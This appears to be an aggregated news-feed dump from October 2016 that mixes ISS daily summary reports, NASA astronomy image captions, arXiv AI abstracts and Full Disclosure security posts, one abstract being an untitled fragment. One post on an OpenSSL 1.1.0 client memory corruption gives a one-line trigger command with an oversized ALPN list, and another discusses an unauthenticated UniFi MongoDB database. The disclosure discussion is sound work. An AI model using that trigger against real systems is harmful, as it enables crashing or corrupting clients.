ISS Daily Summary Report – 10/20/2016
Group Combustion Troubleshooting: FE-5 resumed the troubleshooting on the Group Combustion Experiment Module (GCEM). The crew removed the GCEM Combustion Chamber Element (CCE) from the Multi-Purpose Small Payload Rack (MSPR) rack and installed it on the Work Bench to verify the air supply line Quick Disconnect (QD) connections. FE-5 then reinstalled the Combustion Chamber and performed leak checks with the GCEM installed in the MSPR. Ground teams are reviewing data and high-resolution images prior to proceeding with further troubleshooting steps. The Group Combustion investigation tests a theory that fuel sprays change from partial to group combustion as flames spread across a cloud of droplets. In the Multi-purpose Small Payload Rack in the Kibo module, droplets of decane, a component of gasoline or kerosene, are arranged randomly on thin-fiber lattice points, and the flame and droplet positions and temperature distribution are measured as the flame spreads. Microgravity blocks convection, which on Earth would quickly disperse the droplets and combustion products before such measurements could be made. USOS Crew Off Duty: FE-5 and FE-6 have a reduced work day in preparation for a busy weekend. Soyuz Operations are continuing nominally to support a 48S docking to the MRM2 Zenith port on Friday 21-October at 9:59 GMT.

The Tulip in the Swan
Framing a bright emission region this telescopic view looks out along the plane of our Milky Way Galaxy toward the nebula rich constellation Cygnus the Swan. Popularly called the Tulip Nebula, the glowing cloud of interstellar gas and dust is also found in the 1959 catalog by astronomer Stewart Sharpless as Sh2-101. About 8,000 light-years distant and 70 light-years across the complex and beautiful nebula blossoms at the center of the composite image. Red, green, and blue hues map emission from ionized sulfur, hydrogen, and oxygen atoms. Ultraviolet radiation from young, energetic stars at the edge of the Cygnus OB3 association, including O star HDE 227018, ionizes the atoms and powers the visible light emission from the Tulip Nebula. HDE 227018 is the bright star very near the blue arc at the center of the cosmic tulip. via NASA http://ift.tt/2dCMLmV

Dynamic Probabilistic Network Based Human Action Recognition. (arXiv:1610.06395v1 [cs.CV])
This paper examines use of dynamic probabilistic networks (DPN) for human action recognition. The actions of lifting objects and walking in the room, sitting in the room and neutral standing pose were used for testing the classification. The research used the dynamic interrelation between various different regions of interest (ROI) on the human body (face, body, arms, legs) and the time series based events related to the these ROIs. This dynamic links are then used to recognize the human behavioral aspects in the scene. First a model is developed to identify the human activities in an indoor scene and this model is dependent on the key features and interlinks between the various dynamic events using DPNs. The sub ROI are classified with DPN to associate the combined interlink with a specific human activity. The recognition accuracy performance between indoor (controlled lighting conditions) is compared with the outdoor lighting conditions. The accuracy in outdoor scenes was lower than the controlled environment.

A Growing Long-term Episodic & Semantic Memory. (arXiv:1610.06402v1 [cs.AI])
The long-term memory of most connectionist systems lies entirely in the weights of the system. Since the number of weights is typically fixed, this bounds the total amount of knowledge that can be learned and stored. Though this is not normally a problem for a neural network designed for a specific task, such a bound is undesirable for a system that continually learns over an open range of domains. To address this, we describe a lifelong learning system that leverages a fast, though non-differentiable, content-addressable memory which can be exploited to encode both a long history of sequential episodic knowledge and semantic knowledge over many episodes for an unbounded number of domains. This opens the door for investigation into transfer learning, and leveraging prior knowledge that has been learned over a lifetime of experiences to new domains.

Exploiting inter-image similarity and ensemble of extreme learners for fixation prediction using deep features. (arXiv:1610.06449v1 [cs.CV])
This paper presents a novel fixation prediction and saliency modeling framework based on inter-image similarities and ensemble of Extreme Learning Machines (ELM). The proposed framework is inspired by two observations, 1) the contextual information of a scene along with low-level visual cues modulates attention, 2) the influence of scene memorability on eye movement patterns caused by the resemblance of a scene to a former visual experience. Motivated by such observations, we develop a framework that estimates the saliency of a given image using an ensemble of extreme learners, each trained on an image similar to the input image. That is, after retrieving a set of similar images for a given image, a saliency predictor is learnt from each of the images in the retrieved image set using an ELM, resulting in an ensemble. The saliency of the given image is then measured in terms of the mean of predicted saliency value by the ensemble's members.

Reasoning with Memory Augmented Neural Networks for Language Comprehension. (arXiv:1610.06454v1 [cs.CL])
Hypothesis testing is an important cognitive process that supports human reasoning. In this paper, we introduce a computational hypothesis testing approach based on memory augmented neural networks. Our approach involves a hypothesis testing loop that reconsiders and progressively refines a previously formed hypothesis in order to generate new hypotheses to test. We apply the proposed approach to language comprehension task by using Neural Semantic Encoders (NSE). Our NSE models achieve the state-of-the-art results showing an absolute improvement of 1.2% to 2.6% accuracy over previous results obtained by single and ensemble systems on standard machine comprehension benchmarks such as the Children's Book Test (CBT) and Who-Did-What (WDW) news article datasets.

In contrast, the attention-enabled encoder-decoder model allows for jointly learning to align and convert characters to phonemes. We explore different types of attention models, including global and local attention, and our best models achieve state-of-the-art results on three standard data sets (CMUDict, Pronlex, and NetTalk).

ISS Daily Summary Report – 10/19/2016
Soyuz 48S Launch: 48S launched from the Baikonur Cosmodrome at GMT 293/08:05:14.378, carrying Expedition 49 crewmembers Shane Kimbrough, Andrei Borisenko, and Sergey Ryzhikov to the ISS. Vehicle experienced a nominal ascent and all solar arrays and antennas successfully deployed. The Soyuz will perform a 34-orbit rendezvous before docking with the ISS on Friday, October 21 at 9:59 am GMT. Combustion Integration Rack (CIR) Remove and Replace (R&R): FE-6 disconnected the water umbilicals at the CIR Z-Panel, removing water pressure from the rack. The crew then accessed and changed out the Multi-user Droplet Combustion Apparatus (MDCA) Supply and Return hoses. Last week the rack was connected to the Vacuum Exhaust System to remove the water from within the CIR. Today’s hose changeouts will enable the resumption of FLame Extinguishment-2 (FLEX-2) operations using a decane fuel and will position CIR for implementation of the Cool Flames Investigation (CFI) arriving on OA-5. The FLEX-2 experiment studies the rate and manner in which fuel is burned, the conditions that are necessary for soot to form, and the way in which a mixture of fuels evaporate before burning. The results from these experiments will give scientists a better understanding how fires behave in space and will provide important information that will be useful in increasing the fuel efficiency of engines using liquid fuels. CFI provides new insight into the phenomenon where some types of fuels initially burn very hot, then appear to go out — but they continue burning at a much lower temperature, with no visible flames (cool flames). Understanding cool flame combustion helps scientists develop new engines and fuels that are more efficient and less harmful to the environment.

M45: The Pleiades Star Cluster
Have you ever seen the Pleiades star cluster? Even if you have, you probably have never seen it as dusty as this. Perhaps the most famous star cluster on the sky, the bright stars of the Pleiades can be seen without binoculars even from the heart of a light-polluted city. With a long exposure from a dark location, though, the dust cloud surrounding the Pleiades star cluster becomes very evident. The featured image was a long duration exposure taken last month from Namibia and covers a sky area many times the size of the full moon. Also known as the Seven Sisters and M45, the Pleiades lies about 400 light years away toward the constellation of the Bull (Taurus). A common legend with a modern twist is that one of the brighter stars faded since the cluster was named, leaving only six stars visible to the unaided eye. The actual number of visible Pleiades stars, however, may be more or less than seven, depending on the darkness of the surrounding sky and the clarity of the observer's eyesight. via NASA http://ift.tt/2el3RF8

Particle Swarm Optimization for Generating Fuzzy Reinforcement Learning Policies. (arXiv:1610.05984v1 [cs.NE])
Fuzzy controllers are known to serve as efficient and interpretable system controllers for continuous state and action spaces. To date these controllers have been constructed by hand, or automatically trained either on expert generated problem specific cost functions or by incorporating detailed knowledge about the optimal control strategy. Both requirements for automatic training processes are not given in the majority of real world reinforcement learning (RL) problems. We introduce a new particle swarm reinforcement learning (PSRL) approach which is capable of constructing fuzzy RL policies solely by training parameters on world models produced from randomly generated samples of the real system. This approach relates self-organizing fuzzy controllers to model-based RL for the first time. PSRL can be used straightforward on any RL problem, which is demonstrated on three standard RL benchmarks, mountain car, cart pole balancing and cart pole swing up. Our experiments yielded high performing and well interpretable fuzzy policies.

Constrained Cohort Intelligence using Static and Dynamic Penalty Function Approach for Mechanical Components Design. (arXiv:1610.06009v1 [cs.AI])
Most of the metaheuristics can efficiently solve unconstrained problems; however, their performance may degenerate if the constraints are involved. This paper proposes two constraint handling approaches for an emerging metaheuristic of Cohort Intelligence (CI). More specifically CI with static penalty function approach (SCI) and CI with dynamic penalty function approach (DCI) are proposed. The approaches have been tested by solving several constrained test problems. The performance of the SCI and DCI have been compared with algorithms like GA, PSO, ABC, d-Ds. In addition, as well as three real world problems from mechanical engineering domain with improved solutions. The results were satisfactory and validated the applicability of CI methodology for solving real world problems.

Recognizing Semantic Features in Faces using Deep Learning. (arXiv:1512.00743v2 [cs.LG] UPDATED)
The human face constantly conveys information, both consciously and subconsciously. However, as basic as it is for humans to visually interpret this information, it is quite a big challenge for machines. Conventional semantic facial feature recognition and analysis techniques are already in use and are based on physiological heuristics, but they suffer from lack of robustness and high computation time. This thesis aims to explore ways for machines to learn to interpret semantic information available in faces in an automated manner without requiring manual design of feature detectors, using the approach of Deep Learning. This thesis provides a study of the effects of various factors and hyper-parameters of deep neural networks in the process of determining an optimal network configuration for the task of semantic facial feature recognition. This thesis explores the effectiveness of the system to recognize the various semantic features (like emotions, age, gender, ethnicity etc.) present in faces. Furthermore, the relation between the effect of high-level concepts on low level features is explored through an analysis of the similarities in low-level descriptors of different semantic features. This thesis also demonstrates a novel idea of using a deep network to generate 3-D Active Appearance Models of faces from real-world 2-D images.

Human Pose Estimation in Space and Time using 3D CNN. (arXiv:1609.00036v3 [cs.CV] UPDATED)
This paper explores the capabilities of convolutional neural networks to deal with a task that is easily manageable for humans: perceiving 3D pose of a human body from varying angles. However, in our approach, we are restricted to using a monocular vision system. For this purpose, we apply a convolutional neural network approach on RGB videos and extend it to three dimensional convolutions. This is done via encoding the time dimension in videos as the 3\ts{rd} dimension in convolutional space, and directly regressing to human body joint positions in 3D coordinate space. This research shows the ability of such a network to achieve state-of-the-art performance on the selected Human3.6M dataset, thus demonstrating the possibility of successfully representing temporal data with an additional dimension in the convolutional operation.

Learning to learn with backpropagation of Hebbian plasticity. (arXiv:1609.02228v2 [cs.NE] UPDATED)
Hebbian plasticity is a powerful principle that allows biological brains to learn from their lifetime experience. By contrast, artificial neural networks trained with backpropagation generally have fixed connection weights that do not change once training is complete. While recent methods can endow neural networks with long-term memories, Hebbian plasticity is currently not amenable to gradient descent. Here we derive analytical expressions for activity gradients in neural networks with Hebbian plastic connections. Using these expressions, we can use backpropagation to train not just the baseline weights of the connections, but also their plasticity. As a result, the networks "learn how to learn" in order to solve the problem at hand: the trained networks automatically perform fast learning of unpredictable environmental features during their lifetime, expanding the range of solvable problems. We test the algorithm on various on-line learning tasks, including pattern completion, one-shot learning, and reversal learning. The algorithm successfully learns how to learn the relevant associations from one-shot instruction, and fine-tunes the temporal dynamics of plasticity to allow for continual learning in response to changing environmental parameters. We conclude that backpropagation of Hebbian plasticity offers a powerful model for lifelong learning.

Re: [FD] Critical Vulnerability in Ubiquiti UniFi
Tim conflates two products in his original report: Product: UniFi AP AC Lite Vendor: Ubiquiti Networks Inc. Internal reference: ? (Bug ID) Vulnerability type: Incorrect access control Vulnerable version: Unify 5.2.7 and possible other versions affected (not tested) [...] Both the UniFi appliance line and the AP management software are properly spelled 'UniFi'. http://ift.tt/1OPzKlx http://ift.tt/21BKwPK UniFi - the AP controller software - does not run on the UniFi AP AC Lite. It's intended as a low-cost replacement for a dedicated AP controller appliance, and it manages - does not run on - Ubiquiti's current AP product line. The current full release version of the UniFi AP controller is 5.2.9. It has a dedicated appliance in the form of the "Cloud Key" - https://www.ubnt.com/ unifi/unifi-cloud-key/ The Cloud Key is a cute little package with some integral flash, a micro SD slot, PoE or USB power, and a MediaTek MT7623 SoC - if the picture is accurate. Its sole purpose in life appears to be running the UniFi controller software. I don't have one to test; the Cloud Key may well configure MongoDB insecurely. I have access to a few other UniFi products, so I looked them over. The self- hosted UniFi controller appears to call MongoDB correctly, at least as of 5.2.9: john@malkovich ~ [0]# pgrep -a mongo 2850 bin/mongod --dbpath /usr/lib/unifi/data/db --port 27117 --logappend

[FD] Ubiquiti
Hi, please let us communicate directly and not via Mailinglists, because this results in flooding and is not important to all other people. If there is an final result, weather the PoC has got an mistake or not, we can publish the result. If there are other products affected we don’t know - this was not mentioned in the disclosure (The PoC is only for the OS X Software combined with an AP AC Lite), so we can’t give an statement to other products of the vendor. If nobody is able to get the PoC working, like I said above, maby we made an mistake, I will not distance me from making a mistake, I think the vuln should not be seen as too critical. But what you all approved is that if the database runs locally the following scenario should be bullet proof: All, by the management software, managed devices could be compromised if the pc get’s infected, because the database has absolutely no authentication and you are able to reset the local admins web interface password. This would reduce the CVSSv3 to 6.3 and change they vuln type to „privilege escalation“, combined with broken authentication even without an "scope change": CVSS:3.0/AV:L/AC:H/PR:H/UI:R/S:U/C:H/I:H/A:H Do you agree? I’m looking forward to minimize our "race time condition denial of service", to deliver fast results in future :-P Best regards / Mit freundlichen Grüßen Tim Schughart CEO / Geschäftsführer

[FD] OpenSSL 1.1.0 remote client memory corruption
Triggering this requires that the client sets a very large ALPN list (several thousand bytes). This would be very unusual in a real-world application. For this reason OpenSSL does not treat this as a security vulnerability and I am inclined to agree with this decision. However, if an attacker can somehow influence the ALPN list of an OpenSSL-enabled application (perhaps through another vulnerability), the attacker can write arbitrary data past OpenSSL's heap buffer. openssl s_client -reconnect -status -alpn `python -c "import sys; sys.stdout.write('x,'*4000+'x')"` If the server sends a session ticket with a special length (16022 bytes), the client will crash.

ISS Daily Summary Report – 10/18/2016
Orbital ATK (OA)-5 Launch: The Cygnus spacecraft successfully launched from Wallops Island, Virginia atop an Antares rocket on Monday at 6:45pm CDT. The spacecraft will loiter until after 48S docking, scheduled for Friday, October 21st. Cygnus approach, capture, and berthing will occur on Sunday, 23-October. Cygnus will be delivering approximately 2,400 kg of pressurized cargo to the ISS. RapidScat Troubleshooting: On Friday, August 19, 2016 (GMT 232), the Columbus Module experienced a power anomaly where Power Distribution Unit 1 (PDU-1) and a subset of the loads on PDU-1 lost power. Several pieces of equipment were affected, in particular RapidScat operational power, was lost. After successful re-activation of Outlet 3, RapidScat could not be activated and follow up troubleshooting was also unsuccessful. To recover power to the SOLAR payload the crew manually reconfigured the Payload Power Switching Box (PPSB) – Starboard Deck X-Direction (SDX) Switch 1 in order to isolate RapidScat from the circuit. The outlet was then successfully reactivated with power to SOLAR and the source of the trips as isolated to RapidScat’s SDX site. This morning FE-5 and ground teams attempted to activate PDU1 Outlet 3 with RapidScat as the sole external payload on the circuit to further troubleshoot the RapidScat issues. During this morning’s attempt to repower RapidScat there was another Overcurrent Trip, which ended the troubleshooting steps for the day. Ground teams have returned system back to the configuration prior to the troubleshooting. Biological Rhythms 48-Hour Collection: FE-5 concluded the 48-hour data collection session this morning, doffing the Cardiolab Holter Harness and Actiwatch, then saved the data from the two devices for ground teams to download and review. Biological Rhythms 48 hours is a Japan Aerospace Exploration Agency (JAXA) experiment that studies the effects of long-term microgravity exposure on heart function by analyzing an astronaut’s electrocardiogram for 48 hours. Cardio Ox Ultrasound: With scanning assistance from FE-6 and ground remote guidance specialists, FE-5 performed the Return minus 15 day (R-15) Cardio Ox ultrasound session. Prior to scanning, FE-5 donned Electrocardiogram (ECG) electrodes, marked the Carotid and Brachial arteries to make locating them easier. The goal of Cardio Ox is to determine whether biological markers of oxidative and inflammatory stress are elevated during and after space flight and whether this results in an increased, long-term risk of atherosclerosis risk in astronauts. Water Monitoring Suite (WMS): FE-6 configured the Maintenance Work Area (MWA) then the WMS’s Microbial Monitoring System (MMS) to test ISS unfiltered water from a Total Organic Carbon Analyzer (TOCA) sample collection taken earlier in the day. The two test runs were performed first using a low Deoxyribonucleic acid (DNA) concentration pouch and the second using a high DNA concentration pouch. The WMS is a set of hardware that monitors microbes, silica and organic material in the water supply on the ISS. The hardware ensures crew members can test and monitor the safety of their water supplies on future space missions, especially on long-duration missions to Mars, asteroids or other destinations where Earth-based testing would be difficult or impossible. Cardiac and Vessel Structure and Function with Long-Duration Space Flight and Recovery (Vascular Echo) Doppler Measurements: FE-5 configured the Cardiolab Portable Doppler (CDL PDOP) then donned the PDOP femoral probe. The crew performed two data collection sessions, each after a 1-minute light exercise session. The Vascular Echo experiment investigates the stiffening of the arteries and increased blood pressure (hypertension) observed in some returning ISS crewmembers. By observing the changes in blood vessels, and the heart, while the crew members are in space and following their recovery on return to Earth, investigators hope to provide insight into potential countermeasures to help maintain crew member health, and quality of life. NanoRacks File Transfer Test: Ground controllers activated the NanoRacks Plate Reader 2 and successfully tested a file transfer capability to the NanoRacks External Platform (NREP) facility. This capability will be used for the NanoRacks Charge-Injection Device (CID) currently slated for launch on HTV-6. Today’s Planned Activities All activities were performed unless otherwise noted.

The Antlia Cluster of Galaxies
Galaxies dot the sky in this impressively wide and deep image of the Antlia Cluster. The third closest cluster of galaxies to Earth after Virgo and Fornax, the Antlia cluster is known for its compactness and its high fraction of elliptical galaxies over (spirals. Antlia, cataloged as Abell S0636, spans about 2 million light years and lies about 130 million light years away toward the constellation of the Air Pump (Antlia). The cluster has two prominent galaxy groups - bottom center and upper left -- among its over 200 galactic members, but no single central dominant galaxy. The vertical red ribbon of gas on the left is thought related to the foreground Antlia supernova remnant and not associated with the cluster. The featured image composite, taken from New Zealand, resulted from 150+ hours of exposures taken over six months. via NASA http://ift.tt/2egQ4iQ

VRPBench: A Vehicle Routing Benchmark Tool. (arXiv:1610.05402v1 [cs.AI])
The number of optimization techniques in the combinatorial domain is large and diversified. Nevertheless, there is still a lack of real benchmarks to validate optimization algorithms. In this work we introduce VRPBench, a tool to create instances and visualize solutions to the Vehicle Routing Problem (VRP) in a planar graph embedded in the Euclidean 2D space. We use VRPBench to model a real-world mail delivery case of the city of Artur Nogueira. Such scenarios were characterized as a multi-objective optimization of the VRP. We extracted a weighted graph from a digital map of the city to create a challenging benchmark for the VRP. Each instance models one generic day of mail delivery with hundreds to thousands of delivery points, thus allowing both the comparison and validation of optimization algorithms for routing problems.

Makespan Optimal Solving of Cooperative Path-Finding via Reductions to Propositional Satisfiability. (arXiv:1610.05452v1 [cs.AI])
The problem of makespan optimal solving of cooperative path finding (CPF) is addressed in this paper. The task in CPF is to relocate a group of agents in a non-colliding way so that each agent eventually reaches its goal location from the given initial location. The abstraction adopted in this work assumes that agents are discrete items moving in an undirected graph by traversing edges. Makespan optimal solving of CPF means to generate solutions that are as short as possi-ble in terms of the total number of time steps required for the execution of the solution.
We show that reducing CPF to propositional satisfiability (SAT) represents a viable option for obtaining makespan optimal solutions. Several encodings of CPF into propositional formulae are suggested and experimentally evaluated. The evaluation indicates that SAT based CPF solving outperforms other makespan optimal methods significantly in highly constrained situations (environments that are densely occupied by agents).

Diagnosis of aerospace structure defects by a HPC implemented soft computing algorithm. (arXiv:1610.05521v1 [cs.AI])
This study concerns with the diagnosis of aerospace structure defects by applying a HPC parallel implementation of a novel learning algorithm, named U-BRAIN. The Soft Computing approach allows advanced multi-parameter data processing in composite materials testing. The HPC parallel implementation overcomes the limits due to the great amount of data and the complexity of data processing. Our experimental results illustrate the effectiveness of the U-BRAIN parallel implementation as defect classifier in aerospace structures. The resulting system is implemented on a Linux-based cluster with multi-core architecture.

Weighted Positive Binary Decision Diagrams for Exact Probabilistic Inference. (arXiv:1610.05551v1 [cs.AI])
Recent work on weighted model counting has been very successfully applied to the problem of probabilistic inference in Bayesian networks. The probability distribution is encoded into a Boolean normal form and compiled to a target language, in order to represent local structure expressed among conditional probabilities more efficiently. We show that further improvements are possible, by exploiting the knowledge that is lost during the encoding phase and incorporating it into a compiler inspired by Satisfiability Modulo Theories. Constraints among variables are used as a background theory, which allows us to optimize the Shannon decomposition. We propose a new language, called Weighted Positive Binary Decision Diagrams, that reduces the cost of probabilistic inference by using this decomposition variant to induce an arithmetic circuit of reduced size.

Identifiability and Transportability in Dynamic Causal Networks. (arXiv:1610.05556v1 [cs.AI])
In this paper we propose a causal analog to the purely observational Dynamic Bayesian Networks, which we call Dynamic Causal Networks. We provide a sound and complete algorithm for identification of Dynamic Causal Net- works, namely, for computing the effect of an intervention or experiment, based on passive observations only, whenever possible. We note the existence of two types of confounder variables that affect in substantially different ways the iden- tification procedures, a distinction with no analog in either Dynamic Bayesian Networks or standard causal graphs. We further propose a procedure for the transportability of causal effects in Dynamic Causal Network settings, where the re- sult of causal experiments in a source domain may be used for the identification of causal effects in a target domain.

Census Signal Temporal Logic Inference for Multi-Agent Group Behavior Analysis. (arXiv:1610.05612v1 [cs.AI])
In this paper, we define a novel census signal temporal logic (CensusSTL) that focuses on the number of agents in different subsets of a group that complete a certain task specified by the signal temporal logic (STL). CensusSTL consists of an "inner logic" STL formula and an "outer logic" STL formula. We present a new inference algorithm to infer CensusSTL formulae from the trajectory data of a group of agents. We first identify the "inner logic" STL formula and then infer the subgroups based on whether the agents' behaviors satisfy the "inner logic" formula at each time point. We use two different approaches to infer the subgroups based on similarity and complementarity, respectively. The "outer logic" CensusSTL formula is inferred from the census trajectories of different subgroups. We apply the algorithm in analyzing data from a soccer match by inferring the CensusSTL formula for different subgroups of a soccer team.

Low-rank and Sparse Soft Targets to Learn Better DNN Acoustic Models. (arXiv:1610.05688v1 [cs.CL])
Conventional deep neural networks (DNN) for speech acoustic modeling rely on Gaussian mixture models (GMM) and hidden Markov model (HMM) to obtain binary class labels as the targets for DNN training. Subword classes in speech recognition systems correspond to context-dependent tied states or senones. The present work addresses some limitations of GMM-HMM senone alignments for DNN training. We hypothesize that the senone probabilities obtained from a DNN trained with binary labels can provide more accurate targets to learn better acoustic models. However, DNN outputs bear inaccuracies which are exhibited as high dimensional unstructured noise, whereas the informative components are structured and low-dimensional. We exploit principle component analysis (PCA) and sparse coding to characterize the senone subspaces. Enhanced probabilities obtained from low-rank and sparse reconstructions are used as soft-targets for DNN acoustic modeling, that also enables training with untranscribed data. Experiments conducted on AMI corpus shows 4.6% relative reduction in word error rate.

Design Mining Microbial Fuel Cell Cascades. (arXiv:1610.05716v1 [cs.NE])
Microbial fuel cells (MFCs) perform wastewater treatment and electricity production through the conversion of organic matter using microorganisms. For practical applications, it has been suggested that greater efficiency can be achieved by arranging multiple MFC units into physical stacks in a cascade with feedstock flowing sequentially between units. In this paper, we investigate the use of computational intelligence to physically explore and optimise (potentially) heterogeneous MFC designs in a cascade, i.e. without simulation. Conductive structures are 3-D printed and inserted into the anodic chamber of each MFC unit, augmenting a carbon fibre veil anode and affecting the hydrodynamics, including the feedstock volume and hydraulic retention time, as well as providing unique habitats for microbial colonisation. We show that it is possible to use design mining to identify new conductive inserts that increase both the cascade power output and power density.

Deep Amortized Inference for Probabilistic Programs. (arXiv:1610.05735v1 [cs.AI])
Probabilistic programming languages (PPLs) are a powerful modeling tool, able to represent any computable probability distribution. Unfortunately, probabilistic program inference is often intractable, and existing PPLs mostly rely on expensive, approximate sampling-based methods. To alleviate this problem, one could try to learn from past inferences, so that future inferences run faster. This strategy is known as amortized inference; it has recently been applied to Bayesian networks and deep generative models. This paper proposes a system for amortized inference in PPLs. In our system, amortization comes in the form of a parameterized guide program. Guide programs have similar structure to the original program, but can have richer data flow, including neural network components. These networks can be optimized so that the guide approximately samples from the posterior distribution defined by the original program. We present a flexible interface for defining guide programs and a stochastic gradient-based scheme for optimizing guide parameters, as well as some preliminary results on automatically deriving guide programs. We explore in detail the common machine learning pattern in which a 'local' model is specified by 'global' random values and used to generate independent observed data points; this gives rise to amortized local inference supporting global model learning.

Fast Sampling for Bayesian Max-Margin Models. (arXiv:1504.07107v5 [stat.ML] UPDATED)
Bayesian max-margin models have shown superiority in various practical applications, such as text categorization, collaborative prediction, social network link prediction and crowdsourcing, and they conjoin the flexibility of Bayesian modeling and predictive strengths of max-margin learning. However, Monte Carlo sampling for these models still remains challenging, especially for applications that involve large-scale datasets. In this paper, we present the stochastic subgradient Hamiltonian Monte Carlo (HMC) methods, which are easy to implement and computationally efficient. We show the approximate detailed balance property of subgradient HMC which reveals a natural and validated generalization of the ordinary HMC. Furthermore, we investigate the variants that use stochastic subsampling and thermostats for better scalability and mixing. Using stochastic subgradient Markov Chain Monte Carlo (MCMC), we efficiently solve the posterior inference task of various Bayesian max-margin models and extensive experimental results demonstrate the effectiveness of our approach.

Unsupervised Learning for Physical Interaction through Video Prediction. (arXiv:1605.07157v4 [cs.LG] UPDATED)
A core challenge for an agent learning to interact with the world is to predict how its actions affect objects in its environment. Many existing methods for learning the dynamics of physical interactions require labeled object information. However, to scale real-world interaction learning to a variety of scenes and objects, acquiring labeled data becomes increasingly impractical. To learn about physical object motion without labels, we develop an action-conditioned video prediction model that explicitly models pixel motion, by predicting a distribution over pixel motion from previous frames. Because our model explicitly predicts motion, it is partially invariant to object appearance, enabling it to generalize to previously unseen objects. To explore video prediction for real-world interactive agents, we also introduce a dataset of 59,000 robot interactions involving pushing motions, including a test set with novel objects. In this dataset, accurate prediction of videos conditioned on the robot's future actions amounts to learning a "visual imagination" of different futures based on different courses of action. Our experiments show that our proposed method produces more accurate video predictions both quantitatively and qualitatively, when compared to prior methods.

ISS Daily Summary Report – 10/17/2016
Cygnus Launch Status: Yesterday’s planned launch of the OA-5 mission was postponed for 24 hours due to an issue with a ground support equipment. OA-5 launch is set for today, 17-October at 6:40 PM CDT. This launch attempt will result in OA loitering until after 48S docking, scheduled for Friday 21-October. OA-5 approach and berthing is planned no earlier than 23-October. Body Measures: Over the weekend, FE-6 performed the Return minus 15 day (R-15) session for Body Measures with assistance with FE-5. The crew configured still cameras and video, then collected the Neutral Body Posture video and stow the equipment. NASA is collecting in-flight anthropometric data (body measurements) to assess the impact of physical body shape and size changes on suit sizing. Still and video imagery is captured and a tape measure is used to measure segmental length, height, depth, and circumference data for all body segments (chest, waist, hip, arms, legs, etc.) from astronauts before, during and after their flight missions. Urine Collections: Over the weekend, the crew continued with collections in support of several Human Research Experiments. Urine samples were collected, spun in the refrigerated centrifuge and placed in Minus Eighty Degree Celsius Laboratory Freezer for ISS (MELFI) for the Biochemical Profile, CardioOx, and Repository experiments. The Biochemical Profile experiment tests blood and urine samples obtained from astronauts before, during, and after spaceflight. Specific proteins and chemicals in the samples are used as biomarkers, or indicators of health. Post-flight analysis yields a database of samples and test results, which scientists can use to study the effects of spaceflight on the body. The goal of Cardio Ox is to determine whether biological markers of oxidative and inflammatory stress are elevated during and after space flight and whether this results in an increased, long-term risk of atherosclerosis risk in astronauts. Twelve crewmembers provide blood and urine samples to assess biomarkers before launch, 15, and 60 after launch, 15 days before returning to Earth, and within days after landing. Ultrasound scans of the carotid and brachial arteries are obtained at the same time points, as well as through 5 years after landing, as an indicator of cardiovascular health. Repository is a storage bank that is used to maintain biological specimens over extended periods of time and under well-controlled conditions. This repository supports scientific discovery that contributes to our fundamental knowledge in the area of human physiological changes and adaptation to a microgravity environment and provides unique opportunities to study longitudinal changes in human physiology spanning many missions. Biological Rhythms 48-Hour Session: Sunday, FE-5 initiated a 48-hour Biological Rhythms session, donning a Holter Monitor and Electrocardiogram (ECG) electrodes. Today, half-way through the collection period, he changed the Multimedia Card (MMC) and resumed data collection. Biological Rhythms 48 hours is a Japan Aerospace Exploration Agency (JAXA) experiment that studies the effects of long-term microgravity exposure on heart function by analyzing an astronaut’s electrocardiogram for 48 hours. Electromagnetic Levitation (EML) Configuration: FE-5 continued with configuration of the EML facility today, opening the valve to the Argon (Ar) gas supply and closing the Helium (He) valve. The crew then changed the magnification factor to standard mode. The EML is a multi-user facility designed for containerless materials processing in space. Soyuz (47S) Return Cargo Packing: On Sunday, the crew started packing the cargo that will be returning on 47S. The remaining packing will be completed prior to undocking. Environmental Health System (EHS) Microbial Air and Surface Sampling: The crew acquired air samples for microbial analysis using the Microbial Air Sampler (MAS) with Petri Dishes and surface samples with slide media. The EHS monitors the atmosphere for gaseous contaminants from nonmetallic materials off-gassing, combustion products, and propellants, microbial contaminants from crewmembers and Station activities, water quality, acoustics, and radiation levels. Robotics External Leak Locator (RELL) Reposition: Earlier today the crew extended the Japanese Experiment Module (JEM) Airlock (A/L) slide table and repositioned the RELL in the JEM Orbital Replacement Unit (ORU) Transfer Interface (JODI) so that it is consistent with the configuration required by the Space Station Remote Manipulator System (SSRMS) for successful removal. The JEM A/L slide table was then retracted back into the A/L. Today’s Planned Activities All activities were complete unless otherwise noted.

ISS Daily Summary Report – 10/14/2016
63 Progress (63P) Undock: 63P undocked successfully from the Service Module (SM) aft port this morning at 4:37 AM CDT. Deorbit burn was completed at 7:50 AM CDT followed by atmospheric entry and destruction. Vascular Echo Resting Ultrasound: FE-5 performed Vascular Echo resting ultrasound and blood pressure measurements this morning. With assistance from ground remote guidance teams, he was directed to scan the neck, thigh and heart. This Canadian Space Agency (CSA) investigation examines changes in blood vessels, and the heart, while the crew members are in space, and then follow their recovery on return to Earth. The results could provide insight into potential countermeasures to help maintain crew member health, and quality of life for everyone. Blood Collections: FE-6, with assistance from FE-5, performed blood collections in support of several Human Research Experiments. Samples were collected, spun in the refrigerated centrifuge and placed in Minus Eighty Degree Celsius Laboratory Freezer for ISS (MELFI) for the Biochemical Profile, CardioOx, and Repository experiments. The Biochemical Profile experiment tests blood and urine samples obtained from astronauts before, during, and after spaceflight. Specific proteins and chemicals in the samples are used as biomarkers, or indicators of health. Post-flight analysis yields a database of samples and test results, which scientists can use to study the effects of spaceflight on the body. The goal of Cardio Ox is to determine whether biological markers of oxidative and inflammatory stress are elevated during and after space flight and whether this results in an increased, long-term risk of atherosclerosis risk in astronauts. Twelve crewmembers provide blood and urine samples to assess biomarkers before launch, 15, and 60 after launch, 15 days before returning to Earth, and within days after landing. Ultrasound scans of the carotid and brachial arteries are obtained at the same time points, as well as through 5 years after landing, as an indicator of cardiovascular health. Repository is a storage bank that is used to maintain biological specimens over extended periods of time and under well-controlled conditions. This repository supports scientific discovery that contributes to our fundamental knowledge in the area of human physiological changes and adaptation to a microgravity environment and provides unique opportunities to study longitudinal changes in human physiology spanning many missions. Today’s Planned Activities All activities were completed unless otherwise noted.
